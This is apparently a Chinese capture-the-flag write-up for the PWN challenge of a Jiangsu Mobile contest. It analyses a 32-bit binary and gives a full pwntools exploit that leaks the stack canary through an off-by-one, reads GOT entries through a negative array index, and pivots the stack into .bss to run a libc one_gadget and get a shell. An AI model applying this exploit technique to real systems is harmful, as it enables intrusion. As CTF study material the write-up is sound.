江苏移动“赋能建功”-二进制相关

PWN(已完成)

分析

image-20250917181234932

32位的,好古老的程序,江苏移动找的出题人不会是哪里抄的吧。。。

  • 开启Cannary,没开PIE;
  • RELRO部分开:GOT表可被覆盖

image-20250917182043333

👆一开始代码很乱,scanf显然多传了无用参数,只有前两个参数有效,属于反编译产生的噪音,人工优化一下👇

image-20250917184239673

image-20250917185031197

明显可以审到利用点如下:

  • 第1次输入:read(0, buf, 81u); off_by_one 结合下面的printf泄露canary
  • 第2次输入:printf的idx可以数组负数越界获取got表信息
  • 第3次输入:往bss段上布置东西
  • 第4次输入:正好控到ebp,可以栈迁移,控制程序流

我们可以泄露canary值,再通过数组负数越界获取got表信息,计算出onegadget,最后利用栈迁移,将栈迁移到我们设计好的bss段中,触发onegadget,获取shell。

exp


from pwn import *

context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
p = process('./pwn')
libc=ELF('./libc-2.23.so')
e = ELF('./pwn')

# use recv with a small timeout instead of print p.read()

print(p.recv(timeout=0.5))

p.send(b'a' * 81)

print(p.recv(timeout=0.5))

secret_addr = 0x804A060
bss_addr = 0x0804A1A0
offset = (e.got['puts'] - secret_addr) // 4
print("offset",offset)
p.sendline(str(offset).encode())
p.recvuntil(b'a' * 81)

part_of_canary = p.recv(3)
canary = u32(b'\x00' + part_of_canary)
success("canary: " + hex(canary))

p.recvuntil(b'Part:')
puts_addr = u32(p.recv(4))
success("puts addr: " + hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
gadget = puts_addr - libc.symbols['puts'] + 0x3a80c

print('libc->', hex(puts_addr - libc.symbols['puts']))

p.send(p32(canary)+p32(bss_addr+0x14)+b'a'*0x8+p32(gadget))

gdb.attach(p)

pause()
p.send(b'aaaa' + p32(canary) + b'a' * 0x8 + p32(bss_addr+0xc))
p.interactive()

RE(绝赞更新中)